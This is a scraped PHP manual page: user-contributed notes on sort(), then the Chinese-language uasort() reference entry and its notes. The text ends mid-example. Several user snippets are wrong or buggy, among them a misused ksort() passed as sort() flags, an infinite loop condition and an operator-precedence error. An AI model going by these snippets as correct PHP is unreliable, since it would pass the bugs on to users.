If you need to sort an array containing some equivalent values and you want the equivalents to end up next to each other in the overall order (similar to a MySQL's ORDER BY output), rather than breaking the function, do this:

<?php

sort($array, ksort($array))

?>

-When the sort() function finds two equivalents, it will sort them arbitrarily by their key #'s as a second parameter.

-Dirk
Brecht Cloetens 23-Nov-2009 03:57
<?php

/**
 * function: array_columns
 * author: Brecht Cloetens
 * params: $a = array() // original array
 *         $c = int() // number of columns
 */
function array_columns(&$a, $c=2)
{
    $m = ceil(count($a)/$c);
    $j = 0;
    for($i=0; $i<$m; $i++) {
        for($k=0; $k<$c; $k++) {
            $key = $i+($m*$k);
            settype($key,'integer');
            if(array_key_exists($key,$a)) {
                $b[$j] = $a[$key];
                $j++;
            }
        }
    }
    $a = $b;
}

$arr = range('a','z');
array_columns($arr,4);
print_r($arr);

?>

Example:
array(1,2,3,4,5) will be converted to array(1,4,2,5,3);

This can be easy if you want to display an array into a specified number of columns.

<table>
    <tr>
        <td>$arr[0] => 1</td>
        <td>$arr[1] => 4</td>
    </tr>
    <tr>
        <td>$arr[2] => 2</td>
        <td>$arr[3] => 5</td>
    </tr>
    <tr>
        <td>$arr[4] => 3</td>
        <td></td>
    </tr>
</table>
petr dot biza at gmail dot com 11-Sep-2009 06:29
Here is a function to sort an array by the key of his sub-array with keep key in top level.

<?php
function sksort(&$array, $subkey="id", $sort_descending=false, $keep_keys_in_sub = false) {
    $temp_array = $array;

    foreach ($temp_array as $key => &$value) {

      $sort = array();
      foreach ($value as $index => $val) {
          $sort[$index] = $val[$subkey];
      }

      asort($sort);

      $keys = array_keys($sort);
      $newValue = array();
      foreach ($keys as $index) {
        if($keep_keys_in_sub)
            $newValue[$index] = $value[$index];
          else
            $newValue[] = $value[$index];
      }

      if($sort_descending)
        $value = array_reverse($newValue, $keep_keys_in_sub);
      else
        $value = $newValue;
    }

    $array = $temp_array;
  }
?>
danm68 at gmail dot com 25-Aug-2009 09:59
sort() used with strings doesn't sort just alphabetically. It sorts all upper-case strings alphabetically first and then sorts lower-case strings alphabetically second.
Just in case anyone was as confused as I was and I've never seen this mentioned anywhere.
stepmuel at ee dot ethz dot ch 09-Dec-2008 08:14
A little shorter way to sort an array of objects; with a callback function.

<?php
function objSort(&$objArray,$indexFunction,$sort_flags=0) {
    $indices = array();
    foreach($objArray as $obj) {
        $indeces[] = $indexFunction($obj);
    }
    return array_multisort($indeces,$objArray,$sort_flags);
}

function getIndex($obj) {
    return $obj->getPosition();
}

objSort($objArray,'getIndex');
?>
www at designdetector dot com 09-Sep-2008 07:43
To sort an array of multiple text fields alphabetically you have to make the text lowercase before sorting the array. Otherwise PHP puts acronyms before words. You can see this in my example code. Simply store the original text field at the end of the array line and call it later from there. You can safely ignore the lowercase version which is added to the start of the array line.

<?php
echo '<pre>ORIGINAL DATA:
<br />';

$data = array(
'Saturn|7|8|9|0||',
'Hello|0|1|2|3||',
'SFX|5|3|2|4||',
'HP|9|0|5|6||'
);

print_r($data);

sort($data);
reset($data);

echo '<br />RAW SORT:
<br />';

print_r($data);

for ($c = 0; $c < count($data); $c++) {
    list ($letter,$g1,$g2,$g3,$g4,$end) = explode ('|', $data[$c]);
    $lowercase = strtolower($letter);
    $data2[$c] = array($lowercase,$g1,$g2,$g3,$g4,$letter);
}

sort($data2);
reset($data2);

echo '<br />LOWERCASE SORT:
<br />';

print_r($data2);

echo '</pre>';
?>
matpatnik at hotmail dot com 23-Jan-2008 03:46
This function will sort entity letters eg:&eacute;

I hope that help someone

function sort_entity($array) {
    $total = count($array);
    for ($i=0;$i<$total;$i++) {
        if ($array[$i]{0} == '&') {
            $array[$i] = $array[$i]{1}.$array[$i];
        } else {
            $array[$i] = $array[$i]{0}.$array[$i];
        }
    }
    sort($array);

    for ($i=0;$i<$total;$i++) {
        $array[$i] = substr($array[$i],1);
    }

    return $array;
}
sinan at sinaneldem dot com 23-Jun-2007 08:29
here is little script which will merge arrays, remove duplicates and sort it by alphabetical order:

<?php

$array1 = array('apple', 'banana','pear');
$array2 = array('grape', 'pear','orange');

function array_unique_merge_sort($array1, $array2){
$array = array_unique(array_merge($array1, $array2));
sort($array);
foreach ($array as $key => $value) {
    $new[$key] = $value;
}
return $new;
}

print_r (array_unique_merge_sort($array1, $array2));

?>

this will print out:

Array ( [0] => apple [1] => banana [2] => grape [3] => orange [4] => pear )
alishahnovin at hotmail dot com 25-May-2007 04:11
I had a multidimensional array, which needed to be sorted by one of the keys. This is what I came up with...

<?php
function msort($array, $id="id") {
        $temp_array = array();
        while(count($array)>0) {
            $lowest_id = 0;
            $index=0;
            foreach ($array as $item) {
                if ($item[$id]<$array[$lowest_id][$id]) {
                    $lowest_id = $index;
                }
                $index++;
            }
            $temp_array[] = $array[$lowest_id];
            $array = array_merge(array_slice($array, 0,$lowest_id), array_slice($array, $lowest_id+1));
        }
        return $temp_array;
    }
?>

Ex:

<?php

//oh no, this is not in the ordered by id!!
$data[] = array("item"=>"item 4", "id"=>4);
$data[] = array("item"=>"item 1", "id"=>1);
$data[] = array("item"=>"item 3", "id"=>3);
$data[] = array("item"=>"item 2", "id"=>2);

var_dump(  msort($data)  ); //just msort it!

/* outputs

array
  0 =>
    array
      'item' => 'item 1' (length=6)
      'id' => 1
  1 =>
    array
      'item' => 'item 2' (length=6)
      'id' => 2
  2 =>
    array
      'item' => 'item 3' (length=6)
      'id' => 3
  3 =>
    array
      'item' => 'item 4' (length=6)
      'id' => 4

*/

?>
joris at mangrove dot nl 01-Feb-2007 05:40
Commenting on note http://www.php.net/manual/en/function.sort.php#62311 :

Sorting an array of objects will not always yield the results you desire.

As pointed out correctly in the note above, sort() sorts the array by value of the first member variable. However, you can not always assume the order of your member variables! You must take into account your class hierarchy!

By default, PHP places the inherited member variables on top, meaning your first member variable is NOT the first variable in your class definition!
However, if you use code analyzers or a compile cache, things can be very different. E.g., in eAccelerator, the inherited member variables are at the end, meaning you get different sort results with caching on or off.

Conclusion:
Never use sort on arrays with values of a type other than scalar or array.
alex [at] vkpb [dot] com 26-Jan-2007 03:36
Sorting of an array by a method of inserts.

<?

       function sortByField($multArray,$sortField,$desc=true){
            $tmpKey='';
            $ResArray=array();

            $maIndex=array_keys($multArray);
            $maSize=count($multArray)-1;

            for($i=0; $i < $maSize ; $i++) {

               $minElement=$i;
               $tempMin=$multArray[$maIndex[$i]][$sortField];
               $tmpKey=$maIndex[$i];

                for($j=$i+1; $j <= $maSize; $j++)
                  if($multArray[$maIndex[$j]][$sortField] < $tempMin ) {
                     $minElement=$j;
                     $tmpKey=$maIndex[$j];
                     $tempMin=$multArray[$maIndex[$j]][$sortField];

                  }
                  $maIndex[$minElement]=$maIndex[$i];
                  $maIndex[$i]=$tmpKey;
            }

           if($desc)
               for($j=0;$j<=$maSize;$j++)
                  $ResArray[$maIndex[$j]]=$multArray[$maIndex[$j]];
           else
              for($j=$maSize;$j>=0;$j--)
                  $ResArray[$maIndex[$j]]=$multArray[$maIndex[$j]];

           return $ResArray;
       }

// make array
$array['aaa']=array("name"=>"vasia","order"=>1);
$array['bbb']=array("name"=>"petia","order"=>2);
$array['ccc']=array("name"=>"kolia","order"=>3);
$array['ddd']=array("name"=>"zenia","order"=>4);

// set sort
$SortOrder=0; // desc by default , 1- asc

var_dump(sortByField($array,'order',$SortOrder));

array
  'ddd' =>
    array
      'name' => 'zenia' (length=5)
      'order' => 4
  'aaa' =>
    array
      'name' => 'vasia' (length=5)
      'order' => 1
  'bbb' =>
    array
      'name' => 'petia' (length=5)
      'order' => 2
  'ccc' =>
    array
      'name' => 'kolia' (length=5)
      'order' => 3

?>
g8z at yahoo dot com 14-Jul-2006 04:28
<?php
/**
This sort function allows you to sort an associative array while "sticking" some fields.

$sticky_fields = an array of fields that should not be re-sorted. This is a method of achieving sub-sorts within contiguous groups of records that have common data in some fields.

For example:

$a = array();

$a []= array(
    'name'         => 'Sam',
    'age'         => 23,
    'hire_date'    => '2004-01-01'
);
$a []= array(
    'name'        => 'Sam',
    'age'        => 44,
    'hire_date'    => '2003-03-23'
);
$a []= array(
    'name'        => 'Jenny',
    'age'        => 20,
    'hire_date' => '2000-12-31'
);
$a []= array(
    'name'        => 'Samantha',
    'age'        => 50,
    'hire_date' => '2000-12-14'
);

$sticky_fields = array( 'name' );
print_r( stickysort( $a, 'age', DESC_NUM, $sticky_fields ) );

OUTPUT:

Array
(
    [0] => Array
        (
            [name] => Sam
            [age] => 44
            [hire_date] => 2003-03-23
        )
    [1] => Array
        (
            [name] => Sam
            [age] => 23
            [hire_date] => 2004-01-01
        )
    [2] => Array
        (
            [name] => Jenny
            [age] => 20
            [hire_date] => 2000-12-31
        )
    [3] => Array
        (
            [name] => Samantha
            [age] => 50
            [hire_date] => 2000-12-14
        )
)

Here's why this is the correct output - the "name" field is sticky, so it cannot change its sort order. Thus, the "age" field is only sorted as a sub-sort within records where "name" is identical. Thus, the "Sam" records are reversed, because 44 > 23, but Samantha remains at the bottom, even though her age is 50. This is a way of achieving "sub-sorts" and "sub-sub-sorts" (and so on) within records of identical data for specific fields.

Courtesy of the $5 Script Archive: http://www.tufat.com
**/

define( 'ASC_AZ', 1000 );
define( 'DESC_AZ', 1001 );
define( 'ASC_NUM', 1002 );
define( 'DESC_NUM', 1003 );

function stickysort( $arr, $field, $sort_type, $sticky_fields = array() ) {
    $i = 0;
    foreach ($arr as $value) {
        $is_contiguous = true;
        if(!empty($grouped_arr)) {
            $last_value = end($grouped_arr[$i]);

            if(!($sticky_fields == array())) {
                foreach ($sticky_fields as $sticky_field) {
                    if ($value[$sticky_field] <> $last_value[$sticky_field]) {
                        $is_contiguous = false;
                        break;
                    }
                }
            }
        }
        if ($is_contiguous)
            $grouped_arr[$i][] = $value;
        else
            $grouped_arr[++$i][] = $value;
    }
    $code = '';
    switch($sort_type) {
        case ASC_AZ:
            $code .= 'return strcasecmp($a["'.$field.'"], $b["'.$field.'"]);';
            break;
        case DESC_AZ:
            $code .= 'return (-1*strcasecmp($a["'.$field.'"], $b["'.$field.'"]));';
            break;
        case ASC_NUM:
            $code .= 'return ($a["'.$field.'"] - $b["'.$field.'"]);';
            break;
        case DESC_NUM:
            $code .= 'return ($b["'.$field.'"] - $a["'.$field.'"]);';
            break;
    }

    $compare = create_function('$a, $b', $code);

    foreach($grouped_arr as $grouped_arr_key=>$grouped_arr_value)
        usort ( $grouped_arr[$grouped_arr_key], $compare );

    $arr = array();
    foreach($grouped_arr as $grouped_arr_key=>$grouped_arr_value)
        foreach($grouped_arr[$grouped_arr_key] as $grouped_arr_arr_key=>$grouped_arr_arr_value)
            $arr[] = $grouped_arr[$grouped_arr_key][$grouped_arr_arr_key];

    return $arr;
}
?>
g8z at yahoo dot com 10-Jul-2006 08:58
<?php
/**
This sort function allows you to sort an associative array while "sticking" some fields.

$sticky_fields = an array of fields that should not be re-sorted. This is a method of achieving sub-sorts within contiguous groups of records that have common data in some fields.

Courtesy of the $5 Script Archive: http://www.tufat.com
**/

define( 'ASC_AZ', 1000 );
define( 'DESC_AZ', 1001 );
define( 'ASC_NUM', 1002 );
define( 'DESC_NUM', 1003 );

function stickysort( $arr, $field, $sort_type, $sticky_fields = array() ) {
    $i = 0;
    foreach ($arr as $value) {
        $is_contiguous = true;
        if(!empty($grouped_arr)) {
            $last_value = end($grouped_arr[$i]);

            if(!($sticky_fields == array())) {
                foreach ($sticky_fields as $sticky_field) {
                    if ($value[$sticky_field] <> $last_value[$sticky_field]) {
                        $is_contiguous = false;
                        break;
                    }
                }
            }
        }
        if ($is_contiguous)
            $grouped_arr[$i][] = $value;
        else
            $grouped_arr[++$i][] = $value;
    }
    $code = '';
    switch($sort_type) {
        case ASC_AZ:
            $code .= 'return strcasecmp($a["'.$field.'"], $b["'.$field.'"]);';
            break;
        case DESC_AZ:
            $code .= 'return (-1*strcasecmp($a["'.$field.'"], $b["'.$field.'"]));';
            break;
        case ASC_NUM:
            $code .= 'return ($a["'.$field.'"] - $b["'.$field.'"]);';
            break;
        case DESC_NUM:
            $code .= 'return ($b["'.$field.'"] - $a["'.$field.'"]);';
            break;
    }

    $compare = create_function('$a, $b', $code);

    foreach($grouped_arr as $grouped_arr_key=>$grouped_arr_value)
        usort ( $grouped_arr[$grouped_arr_key], $compare );

    $arr = array();
    foreach($grouped_arr as $grouped_arr_key=>$grouped_arr_value)
        foreach($grouped_arr[$grouped_arr_key] as $grouped_arr_arr_key=>$grouped_arr_arr_value)
            $arr[] = $grouped_arr[$grouped_arr_key][$grouped_arr_arr_key];

    return $arr;
}
?>
Emiliyan at ServicesBG dot Com 28-Mar-2006 07:41
#This is a function that will sort an array...
function sort_by($array,  $keyname = null, $sortby) {
   $myarray = $inarray = array();
   # First store the keyvalues in a seperate array
    foreach ($array as $i => $befree) {
        $myarray[$i] = $array[$i][$keyname];
    }
   # Sort the new array by
    switch ($sortby) {
    case 'asc':
    # Sort an array and maintain index association...
    asort($myarray);
    break;
    case 'arsort':
    # Sort an array in reverse order and maintain index association
    arsort($myarray);
    break;
    case 'natcasesor':
    # Sort an array using a case insensitive "natural order" algorithm
    natcasesort($myarray);
    break;
    }
    # Rebuild the old array
    foreach ( $myarray as $key=> $befree) {
       $inarray[$key] = $array[$key];
    }
    return $inarray;
}
sort_by(); example...
$info = sort_by($myarray, 'name', $use = 'asc');
print_r($info);
jesper at snt dot utwente dot nl 24-Feb-2006 01:26
If you sort an array of objects, the first variable in the object will be used for sorting:

<?php
class foo
{
  var $value; //First variable: Used for sorting
  var $id;

  function foo($i, $v)
  {
     $this->id = $i;
     $this->value = $v;
  }

}

for ($i = 0; $i < 10; $i++)
{
  $bar[] = new foo($i,rand(1,10));
}

// This will sort on value
sort($bar);
print_r($bar);
?>

Compare the piece of code above with the following:

<?php
class foo
{
  var $id; //First variable: Used for sorting
  var $value;

  function foo($i, $v)
  {
     $this->id = $i;
     $this->value = $v;
  }

}

for ($i = 0; $i = 10; $i++)
{
  $bar[] = new foo($i,rand(1,10));
}

// This will sort on id
sort($bar);
print_r($bar);
?>

As you can see the location of declaration of the variables matter!
If you want to sort on both or on a combination of variables, use ksort()
nm at thenoodleman dot com 30-Jan-2006 05:18
Faster, more effective function:

array_sort (array, ['asc'/'desc'])

Second parameter specifies whether to order ascending or descending. Default is ascending.

function array_sort($array, $type='asc'){
    $result=array();
    foreach($array as $var => $val){
        $set=false;
        foreach($result as $var2 => $val2){
            if($set==false){
                if($val>$val2 && $type=='desc' || $val<$val2 && $type=='asc'){
                    $temp=array();
                    foreach($result as $var3 => $val3){
                        if($var3==$var2) $set=true;
                        if($set){
                            $temp[$var3]=$val3;
                            unset($result[$var3]);
                        }
                    }
                    $result[$var]=$val;
                    foreach($temp as $var3 => $val3){
                        $result[$var3]=$val3;
                    }
                }
            }
        }
        if(!$set){
            $result[$var]=$val;
        }
    }
    return $result;
}

Works for ordering by integers or strings, no need to specify which.

Example:

$array=array('a' => 50, 'b' => 25, 'c' => 75);
print_r(array_sort($array));

Returns:
Array
(
[b] => 25
[a] => 50
[c] => 75
)
raul at jimi dot com dot mx 01-Dec-2005 09:50
I had an array like this:
$arr=array (1,4,3,6,5);

which returns this:
$arr[0]=1
$arr[1]=4
$arr[2]=3
$arr[3]=6
$arr[4]=5

But lets say i remove [2] which is number 3, i get:

$arr[0]=1
$arr[1]=4
$arr[3]=6
$arr[4]=5

And i want to reindex without doing a sort because i dont want to lose the order of the numbers (like a pop in a stack but in the middle of the list), i do this:

$arr=array_chunk($arr,count($arr));
$arr=$arr[0];

the result is:

$arr[0]=1
$arr[1]=4
$arr[2]=6
$arr[3]=5

This can be applied mostly for tree sorting, when you only have the id and the parent values of the node, and you want to have N levels.
james at miicro dot net 19-Jul-2005 02:49
It's useful to know that if you're using this function on a multidimensional array, php will sort the first key, then the second and so on. This is similar to being able to use SQL to order by field1, field2 etc.

So:

Array (
[0] => Array ( [category] => work [name] => Smith )
[1] => Array ( [category] => play [name] => Johnson )
[2] => Array ( [category] => work [name] => Berger )
)

will become:

Array (
[0] => Array ( [category] => play [name] => Johnson )
[1] => Array ( [category] => work [name] => Berger )
[2] => Array ( [category] => work [name] => Smith )
)

Hope it helps someone.
timc at hlyw dot com 17-Feb-2005 04:04
I dig the multi_sort function(s) from above.  But, they don't work for hash arrays.  I added a keys variable to keep track of the key value as the array gets sorted.  Feed back welcome.

<?php
function array_qsort (&$array, $column=0, $order=SORT_ASC, $first=0, $last= -2)
{
  // $array  - the array to be sorted
  // $column - index (column) on which to sort
  //          can be a string if using an associative array
  // $order  - SORT_ASC (default) for ascending or SORT_DESC for descending
  // $first  - start index (row) for partial array sort
  // $last  - stop  index (row) for partial array sort
  // $keys  - array of key values for hash array sort

  $keys = array_keys($array);
  if($last == -2) $last = count($array) - 1;
  if($last > $first) {
   $alpha = $first;
   $omega = $last;
   $key_alpha = $keys[$alpha];
   $key_omega = $keys[$omega];
   $guess = $array[$key_alpha][$column];
   while($omega >= $alpha) {
     if($order == SORT_ASC) {
       while($array[$key_alpha][$column] < $guess) {$alpha++; $key_alpha = $keys[$alpha]; }
       while($array[$key_omega][$column] > $guess) {$omega--; $key_omega = $keys[$omega]; }
     } else {
       while($array[$key_alpha][$column] > $guess) {$alpha++; $key_alpha = $keys[$alpha]; }
       while($array[$key_omega][$column] < $guess) {$omega--; $key_omega = $keys[$omega]; }
     }
     if($alpha > $omega) break;
     $temporary = $array[$key_alpha];
     $array[$key_alpha] = $array[$key_omega]; $alpha++;
     $key_alpha = $keys[$alpha];
     $array[$key_omega] = $temporary; $omega--;
     $key_omega = $keys[$omega];
   }
   array_qsort ($array, $column, $order, $first, $omega);
   array_qsort ($array, $column, $order, $alpha, $last);
  }
}
?>
anthony at ectrolinux dot com 08-Sep-2004 04:39
In a brief addition to the previous poster's message, the ascending sorting order used by PHP directly corresponds to ISO-8859-1 (ASCII). Therefore the character \48 (numeral 0) would be placed before the character \82 (R), which would be placed before the character \110 (n), and so forth.
arjan321 at hotmail dot com 31-Jan-2003 12:23
Ik you want to sort case insensitive, use the natcasesort()
peek at mailandnews dot com 07-Apr-2001 04:06
I ran into the same problem with case insensitive sorting. Actually I think there should be a SORT_STRING_CASE flag but I tried the following:

usort($listing, 'strcasecmp');

This didn't work (why not?), but you can do a proper case insensitive sort like this:

usort($listing, create_function('$a,$b','return strcasecmp($a,$b);'));


使用用户定义的比较函数对数组进行排序并保持索引关联

  • ? sort
  • uksort ?
  • PHP Manual
  • 数组 函数
  • 使用用户定义的比较函数对数组进行排序并保持索引关联

uasort

(PHP 4, PHP 5, PHP 7, PHP 8)

uasort — 使用用户定义的比较函数对数组进行排序并保持索引关联

说明

uasort(array &$array, callable $callback): true

本函数对 array 本身排序并保持索引和单元之间的关联。

主要用于对那些单元顺序很重要的结合数组进行排序。比较函数是用户自定义的。

Note:

如果两个成员完全相同，那么它们将保持原来的顺序。 在 PHP 8.0.0 之前，它们在排序数组中的相对顺序是未定义的。

Note:

重置数组中的内部指针，指向第一个元素。

参数

array

输入的数组。

callback

在第一个参数小于，等于或大于第二个参数时，该比较函数必须相应地返回一个小于，等于或大于 0 的整数。

callback(mixed $a, mixed $b): int
Caution

从比较函数中返回非整数值，例如 float，将导致内部强制转换为 callback 返回值为 int。因此，诸如 0.99 和 0.1 之类的值都将被转换为整数值 0，将这些值比较的话将会是相等。

返回值

总是返回 true。

更新日志

版本 | 说明
8.2.0 | 现在返回类型为 true；之前是 bool。
8.0.0 | 如果 callback 接受引用传递参数，该方法将会抛出 E_WARNING。

示例

Example #1 uasort() 的基本示例

<?php
// 比较函数
function cmp($a, $b) {
if ($a == $b) {
return 0;
}
return ($a < $b) ? -1 : 1;
}

// 要排序的数组
$array = array('a' => 4, 'b' => 8, 'c' => -1, 'd' => -9, 'e' => 2, 'f' => 5, 'g' => 3, 'h' => -4);
print_r($array);

// 排序并打印排序后的数组
uasort($array, 'cmp');
print_r($array);
?>

以上示例会输出：

Array
(
    [a] => 4
    [b] => 8
    [c] => -1
    [d] => -9
    [e] => 2
    [f] => 5
    [g] => 3
    [h] => -4
)
Array
(
    [d] => -9
    [h] => -4
    [c] => -1
    [e] => 2
    [g] => 3
    [a] => 4
    [f] => 5
    [b] => 8
)

参见

  • usort() - 使用用户自定义的比较函数对数组中的值进行排序
  • uksort() - 使用用户自定义的比较函数对数组中的键名进行排序
  • 数组排序函数对比

User Contributed Notes

tschallacka at lookingout dot com 04-Nov-2021 11:42
php > 7

Sorting associative array, by a value of a subarray.

<?php
uasort($items, function ($a, $b) {
   if ($a['sort_order']??0 == $b['sort_order']??0) {
      return 0;
   }
   return ($a['sort_order']??0 < $b['sort_order']??0) ? -1 : 1;
});
?>
JeffZhang 11-Aug-2021 06:39
A stable sort is realized by merging sorting, like "uasort" but stable, and the code is modified based on "mergesort"

<?php

function uamergesort(&$array, $callback = 'strcmp') {
    $arraycount = count($array);
    if ($arraycount < 2) {
        return;
    }
    $halfway = $arraycount / 2;
    $array1 = array_slice($array, 0, $halfway, true);
    $array2 = array_slice($array, $halfway, null, true);
    $this->uamergesort($array1, $callback);
    $this->uamergesort($array2, $callback);

    $array = array();
    $ptr1 = $ptr2 = 0;
    $array1keys = array_keys($array1);
    $array1 = array_values($array1);
    $array2keys = array_keys($array2);
    $array2 = array_values($array2);
    $array1count = count($array1);
    $array2count = count($array2);
    while ($ptr1 < $array1count && $ptr2 < $array2count) {
        if (call_user_func($callback, $array1[$ptr1], $array2[$ptr2]) < 1) {
            $array[$array1keys[$ptr1]] = $array1[$ptr1];
            $ptr1++;
        } else {
            $array[$array2keys[$ptr2]] = $array2[$ptr2];
            $ptr2++;
        }
    }
    while ($ptr1 < $array1count) {$array[$array1keys[$ptr1]] = $array1[$ptr1]; $ptr1++;}
    while ($ptr2 < $array2count) {$array[$array2keys[$ptr2]] = $array2[$ptr2]; $ptr2++;}

    return;
}
?>
woodongwong at gmail dot com 29-Oct-2020 01:38
PHP version >= 7

<?php

// Comparison function
function cmp($a, $b) {
    return $a <=> $b;
}

// Array to be sorted
$array = ['a' => 4, 'b' => 8, 'c' => -1, 'd' => -9, 'e' => 2, 'f' => 5, 'g' => 3, 'h' => -4];
print_r($array);

// Sort and print the resulting array
uasort($array, 'cmp');
print_r($array);

?>

PHP version >= 7.4

<?php

// Array to be sorted
$array = ['a' => 4, 'b' => 8, 'c' => -1, 'd' => -9, 'e' => 2, 'f' => 5, 'g' => 3, 'h' => -4];
print_r($array);

// Sort and print the resulting array
uasort($array, fn($a, $b) => $a <=> $b);
print_r($array);

?>
lixuss at gmail dot com 14-Mar-2020 05:35
Here is a bug fix for "php at clement dot hk" stable_uasort(&$array, $cmp_function)

The implementation has problems with "0" values, because while() cycle stops on current() returning value "0" which is considered false. The condition must be !== false

Just fix those 3 lines:

while(current($array1) && current($array2)) => while(current($array1)!==false && current($array2)!==false)

while(current($array1)) => while(current($array1)!==false)

while(current($array2)) => while(current($array1)!==false)
bpolaszek at gmail dot com 19-Jun-2018 01:47
Keep in mind that PHP sorting functions are not reliable to handle "stable sorting", even since PHP7+.
It might work on small arrays, but not on "big" ones (100 items are enough for the stable sorting to fail).

<?php
$a = array_fill(0, 100, 'foo');
$b = $a;
var_dump($b === $a); // bool(true)

uasort($a, function () {
    return 0; // Consider all items are the same
});

var_dump($b === $a); // bool(false)
?>

To ensure $b === $a, use a 3rd-party stable sorting function:

http://php.net/manual/en/function.uasort.php#121283
alf at prisguide dot no 28-Jun-2017 11:44
User "php at clement dot hk" already provided a stable uasort function, but I find this wrapper much shorter and easier to understand:

https://github.com/vanderlee/PHP-stable-sort-functions/blob/master/classes/StableSort.php

function stable_uasort(array &$array, $value_compare_func) {
    $index = 0;
    foreach ($array as &$item) {
        $item = array($index++, $item);
    }
    $result = uasort($array, function($a, $b) use($value_compare_func) {
        $result = call_user_func($value_compare_func, $a[1], $b[1]);
        return $result == 0 ? $a[0] - $b[0] : $result;
    });
    foreach ($array as &$item) {
        $item = $item[1];
    }
    return $result;
}
ayaou dot mohammed at gmail dot com 15-Jun-2016 03:05
// Anonumous functions
uasort($collection, array($this, function($a, $b){
     //logic
}));
php at clement dot hk 04-Mar-2014 04:00
If you want to keep the order when two members compare as equal, use this.
<?php

function stable_uasort(&$array, $cmp_function) {
    if(count($array) < 2) {
        return;
    }
    $halfway = count($array) / 2;
    $array1 = array_slice($array, 0, $halfway, TRUE);
    $array2 = array_slice($array, $halfway, NULL, TRUE);

    stable_uasort($array1, $cmp_function);
    stable_uasort($array2, $cmp_function);
    if(call_user_func($cmp_function, end($array1), reset($array2)) < 1) {
        $array = $array1 + $array2;
        return;
    }
    $array = array();
    reset($array1);
    reset($array2);
    while(current($array1) && current($array2)) {
        if(call_user_func($cmp_function, current($array1), current($array2)) < 1) {
            $array[key($array1)] = current($array1);
            next($array1);
        } else {
            $array[key($array2)] = current($array2);
            next($array2);
        }
    }
    while(current($array1)) {
        $array[key($array1)] = current($array1);
        next($array1);
    }
    while(current($array2)) {
        $array[key($array2)] = current($array2);
        next($array2);
    }
    return;
}

function cmp($a, $b) {
    if($a['n'] == $b['n']) {
        return 0;
    }
    return ($a['n'] > $b['n']) ? -1 : 1;
}

$a = $b = array(
    'a' => array("l" => "A", "n" => 1),
    'b' => array("l" => "B", "n" => 2),
    'c' => array("l" => "C", "n" => 1),
    'd' => array("l" => "D", "n" => 2),
    'e' => array("l" => "E", "n" => 2),
);

uasort($a, 'cmp');
print_r($a);

stable_uasort($b, 'cmp');
print_r($b);
?>

returns

Array
(
    [e] => Array
        (
            [l] => E
            [n] => 2
        )

    [b] => Array
        (
            [l] => B
            [n] => 2
        )

    [d] => Array
        (
            [l] => D
            [n] => 2
        )

    [c] => Array
        (
            [l] => C
            [n] => 1
        )

    [a] => Array
        (
            [l] => A
            [n] => 1
        )

)
Array
(
    [b] => Array
        (
            [l] => B
            [n] => 2
        )

    [d] => Array
        (
            [l] => D
            [n] => 2
        )

    [e] => Array
        (
            [l] => E
            [n] => 2
        )

    [a] => Array
        (
            [l] => A
            [n] => 1
        )

    [c] => Array
        (
            [l] => C
            [n] => 1
        )
)

https://bugs.php.net/bug.php?id=53341
Anonymous 15-Aug-2013 10:35
//this fix the problem of if any of these sort functions evaluates two members as equal then the order is undefined (the sorting is not stable).

$pos=0;
foreach($values as $k => $v)
  $tosort[$k]=array($v,$pos++);
uasort($tosort,function($a, $b) {
  if($a[0] != $b[0])return ($a[0] < $b[0]) ? -1 : 1;
    return ($a[1] < $b[1]) ? -1 : 1;}
);
foreach($tosort as $k => $v)
  $values[$k]=$v[0];
iborodikhin at gmail dot com 22-Nov-2012 08:32
To shuffle assoc array preserving keys just do this:
<?php uasort(
    $array,
    function ($a, $b) {
        return mt_rand(0, 1) > 0 ? 1 : -1;
    }
); ?>
Said Dashuk 11-Oct-2011 10:33
My simple and effective solution for sort multi-dimensional array by any key:

<?php
function sort_by_key ($arr,$key) {
    global $key2sort;
    $key2sort = $key;
    uasort($arr, 'sbk');
    return ($arr);
}
function sbk ($a, $b) {global $key2sort; return (strcasecmp ($a[$key2sort],$b[$key2sort]));}
?>
yannick dot battail at gmail dot com 17-Nov-2010 06:37
An Example using anonymous function.
Anonymous functions make some time the code easier to understand.
<?php
$fruits = array('Orange9','Orange11','Orange10','Orange6','Orange15');
uasort ( $fruits , function ($a, $b) {
            return strnatcmp($a,$b); // or other function/code
        }
    );
print_r($fruits);
?>
returns
Array
(
    [3] => Orange6
    [0] => Orange9
    [2] => Orange10
    [1] => Orange11
    [4] => Orange15
)
magikMaker 19-Oct-2010 02:48
a quick reminder on the syntax if you want to use uasort in a Class or Object:

<?php

// procedural:
uasort($collection, 'my_sort_function');

// Object Oriented
uasort($collection, array($this, 'mySortMethod'));

// Objet Oriented with static method
uasort($collection, array('self', 'myStaticSortMethod'));

?>
phire_sk 05-Oct-2010 02:19
I tried using some of the previous built multisorts, but they weren't working as expected.

So, I made my own Class, and it seems to work wonderfully.

Here is the code:

<?php
/************************************
*    Allows sorting multi-dimensional
*    arrays by a specific key and in
*    asc or desc order
**/
class multiSort
{
    var $key;    //key in your array

    //runs the sort, and returns sorted array
    function run ($myarray, $key_to_sort, $type_of_sort = '')
    {
        $this->key = $key_to_sort;

        if ($type_of_sort == 'desc')
            uasort($myarray, array($this, 'myreverse_compare'));
        else
            uasort($myarray, array($this, 'mycompare'));

        return $myarray;
    }

    //for ascending order
    function mycompare($x, $y)
    {
        if ( $x[$this->key] == $y[$this->key] )
            return 0;
        else if ( $x[$this->key] < $y[$this->key] )
            return -1;
        else
            return 1;
    }

    //for descending order
    function myreverse_compare($x, $y)
    {
        if ( $x[$this->key] == $y[$this->key] )
            return 0;
        else if ( $x[$this->key] > $y[$this->key] )
            return -1;
        else
            return 1;
    }
}
?>
paul at webtop-designs dot com 30-Nov-2009 01:40
Just expanding on php arobase kochira period com's method:

If you are looking to sort a multi-D array by a specific column and have entries in both upper and lower case, simply drop the entries to lowercase before doing the strcmp.

<?php
$dirs = array(
  array('name' => 'First Folder', 'path' => 'sompath'),
  array('name' => 'second folder', 'path' => 'sompath2'),
  array('name' => 'Third Folder', 'path' => 'sompath3')
);

function so($a, $b) {
    return (strcmp (strtolower($a['name']), strtolower($b['name'])));
}
?>
php arobase kochira period com 08-Jun-2008 04:13
Difference between uasort() and usort(), the missing example ...

<?php
  $arr = array ( 10 => array('id' => 'dix',  'aa' => '1010'),
                100 => array('id' => 'cent', 'aa' => '100100'),
                  2 => array('id' => 'deux', 'aa' => '22'),
                  7 => array('id' => 'sept', 'aa' => '77'));

  // id sorting
  function so ($a, $b) { return (strcmp ($a['id'],$b['id']));    }
?>

*** uasort($arr, 'so') output:

<?php Array (
    [100] => Array
        (
            [id] => cent
            [aa] => 100100
        )

    [2] => Array
        (
            [id] => deux
            [aa] => 22
        )

